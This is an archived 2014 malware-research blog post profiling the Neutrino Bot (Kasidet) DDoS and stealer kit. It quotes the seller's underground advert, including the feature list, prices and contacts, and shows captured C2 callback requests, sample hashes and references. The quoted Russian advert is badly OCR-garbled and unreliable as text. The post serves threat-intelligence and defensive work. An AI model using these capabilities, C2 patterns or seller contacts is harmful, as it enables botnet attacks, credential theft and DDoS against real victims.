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Neutrino Bot (aka MS:Win32/Kasidet)

Archived: 2026-04-05 19:59:41 UTC

2014-06-18 - Connect the dots

Advertised on underground by n3utrino since december 2013 Neutrino Bot is another "HTTP stress testing tool" , read
DDos Bot.

Piece of the advert

Here is the text of one Advert :

Neutrino Bot

- OcHOBHOY (hyHKLIMOHA

* HTTP(S) dnyz ( metoast GET\POST )
* AntiDDOS ¢myy ( OMyssiips jS\KyKH )
* Slowloris duyz

* Download ¢nyz

* TCP bnyp,

* UDP ¢nyn
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* Jloagep (exe, dll, vbs, bat ... + BO3MOXXHOCTb yKa3arh I1apamMeTphl /11 3arycka aiina)

* Ketinorrep (Multilanguage) (nogep)kka BUPTYa/IbHBIX KJIaBUaTyp (CHSITHE CKPUHILOTOB B 06/1aCTH K/IMKa pa3MepoM
60x60)) ( Bo3MO)XHOCTB C/1e)KeHHs 3a YKa3aHHbIM OKHOM )

* Command shell ( yganénHoe BbIrosHeHHe KOMaH/, C TIOMOLIBIO KOMaHZAHOTO MHTeprpeTaTopa windows)

* CrunuHr (aiiioB 1o Macke ( KoiesabkoB bitcoin k mpumepy )

* 3amyck Gpay3epa C repexofoM 0 yKa3aHHOM ccblke ( aka HaKpyTUMK TPOCMOTPOB)

* IMogmena Hosts

* Ctuumar Win kiiroueit

* PasmHoxeHue ( USB\Archive )

* Oripe/ieieHre YUCTOTHI 3arPy30K ( KOIMYECTBO Hali/leHHBIX "coceziell" Ha KOMIIbIOTepe )
* Onpegenenvie ycraHoaeHHoro AB ( Ha Bcex OC Windows Kpome cepBepHbIX )
* O6HOB/EHNE

* PaboTa uepe3 MpoOK/IaAKH

- [lonionHuTe/IbHBIE (QYHKLMU

* AuTuotiagka

* AntiVM

* JleTeKT 1eCcoyHuL]

* JleTeKT BCeX OHJIaiH CepBICOB aBTOMAaTUUYeCKOT0 aHa/M3a
* BotKiller

* 3arura 6ora ( 3arura npouecca\daiiia\BeTok peecrtpa )

* HeorpaHuueHHOE KOJIMUeCTBO OZHOBPEMEHHO BbITO/HsieMbIX KoMaH, ( HekoTopble KoMaH/|bl KMEIOT 60/iee BbICOKHIA
TIPUOPHUTET TI0 OTHOLIEHHUIO K IPYTHM U UX BbIIIOTTHEHHe OCTaHaB/IMBAET JPyTHe )

* HeorpaHn4eHHOe KOJIMUECTBO Pe3ePBHBIX JOMEHOB

* Tuxast paboTa Jiake 1oJ| OrpaHMYeHHON YYETHOMN 3ariChio

* He narpyxaer CPU

- OyHKI[MOHA/ aIMUHKU

* T'ubKast cucTemMa Co3JaHust 3aIaHui

* TTozpobHast CTaTUCTHKA 10 60TamM

* BO3MO)KHOCTb OT/]aBaTh KOMaH/Ibl K&KJ0My 60Ty M/IM CTpaHe OTZe/bHO
* HactpanBaemoe BpeMst OTCTyKa 60TOB

* CoprupoBka 60toB B crare 1o [P\OHnaiiny\Ctpane\OS

* Cucrema 6aHOB.

- Bec Hecxaroro 6uHapHuka ~ 50kb (ST - C)

- Bor nporectupoBaH Ha Bceli iHelike Windows, ot XP 110 8.1 (x32/64)

LleHHUKH -

[TonHbIHA KOMIUTEKT ( afMHHKa + 60T + BH/I/| Ha HeOrpaHHUYEHHOE KOJI-BO JOMEHOB ) - 200$
Pebug ( TakKe HEOTp. KOJI-BO JOMeHOB ) - 10$

O6Hosnenue ( GyHKLMOHATBHOE ) - 20$

Bunzep - 550$

Orutara - WM \ BTC \ Perfect

BuyHapHUK /MLeH3UpOBaH, C/IUB - 0CTaéTech 6e3 TIO e PXKKH.

-KoHTakTh!

TIM nmu n3utrino@kaddafi.me / n3utrino@xmpp.jp

Crnpaeka o komanzam\I[Togpo6Hoe onucanue dyHkimonana - http://n3utrino.blog.com/

P.S. BOT HUKAaKOTO OTHOIIIEHUSI K OJHOUMEHHOH CBsI3Ke He UMeeT.

Google Translated as :

Neutrino Bot

- The main functional

* HTTP (S) flood (methods GET \ POST)
* AntiDDOS flood (Emulation js \ cookies)
* Slowloris flood

* Download flood
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* TCP flood
* UDP flood

* Loader (exe, dll, vbs, bat ... + can specify parameters for running the file)
* Keylogger (Multilanguage) (support for virtual keyboards (removal of screenshots in the clique size 60x60)) (possibility to
monitor the specified window)

* Command shell (remote command execution using shell windows)

* Stealing files by mask (eg bitcoin wallets)

* Launch the browser with one of these links (aka Cheaters views)

* Spoofing Hosts

* Stilling Win keys

* Reproduction (USB \ Archive)

* Purity downloads (number found "neighbors" on the computer)

* Identifying the installed AV (on all Windows except Server)

* Update

* Work through the gasket

- Additional Features

* Anti debugging

* AntiVM

* Detect sandboxes

* Detect all online services automatic analysis
* BotKiller

* Bot protection (protection process \ file \ registry branches)

* Unlimited number of concurrent commands (Some teams have a higher priority than others, and their execution stops
others)

* Unlimited number of backup domain

* Quiet operation even under a limited account

* Do not load the CPU

- Functional admin

* Flexible system for creating jobs

* Detailed statistics for bots

* Ability to give commands to each country separately or bot
* Customizable otstuk bots

* Sort bots in Articles IP \ Live \ Country \ OS

* System Bans.

- Weight uncompressed binary file ~ 50kb (PL - C)
- Boat tested on the entire line of Windows, from XP to 8.1 (x32/64)

tags -

Full set (+ bot + admin panel to build an unlimited number of domains) - $ 200
Rebuild (also unlim. Quantity domains) - $ 10

Update (functional) - $ 20

Builder - $ 550

Payment - WM \ BTC \ Perfect

Binary licensed, plums - are left without support.

-Contact

PM or n3utrino@kaddafi.me / n3utrino@xmpp.jp

Command Help \ Detailed functional - http://n3utrino.blog.com/

P.S. Boat no relation to the same name does not have a bunch.

As you can see it's advertised in the open :
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N3utrino Blog - Information

N3utrino blog - Price
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N3utrino blog - Screenshots

Screenshots provided by the coder on the blog and in forums :
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Neutrino - Index

Neutrino - Clients

Neutrino - Clients 2
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Neutrino - Stats
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Neutrino - Stats 2

Coder also provided the panel on underground.

piece of the Neutrino panel code.

I met one of those bot (v2.5 - dab012115fa267d95c1145al1eb41d38d ) as a second stage of an Andromeda pushed in Nuclear

Pack (the one featured here)

Here is Neutrino calling back home (cf attached pcap) :

POST /modopo/tasks.php HTTP/1.0

Host: nav1111sto.mcdir.ru

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Content-type: application/x-www-form-urlencoded

Cookie: session=21232f297a57a5a743894a0e4a801fc3

Content-length: 8

http://nav1111sto.mcdir.ru/modopo/tasks.php

ping=1

POST /modopo/tasks.php HTTP/1.0

Host: nav1111sto.mcdir.ru

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Content-type: application/x-www-form-urlencoded

Cookie: session=21232f297a57a5a743894a0e4a801fc3

Content-length: 137

http://nav1111sto.mcdir.ru/modopo/tasks.php

getcmd=18uid=D2BDB99374A80FB8G0s=Windows+XP+PRO+(x32)&av=Not+installed&nat=yes&version=2.=

Hashes : dab012115fa267d95c1145aleb41d38d (2.5)
bb42fce5d9cb73561ec4e3c343c10d52 (2.1)
e6ead5deca7e9dd9afeb276ec1d4509c¢ (2.0)
ce5c86fb4c44a7655ed6caaf42a688b3 2.6 - Pushed in Infinity - 2014-06-19

Read more :

Barclays Transaction Notification contains "Neutrino Downloader" - 2014-04-10 - Kimberly - StopMalvertising

Post Publication Reading :
A Glance Into the Neutrino Botnet - 2014-06-23 - Umesh Wanve - McAfee

Source: http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html
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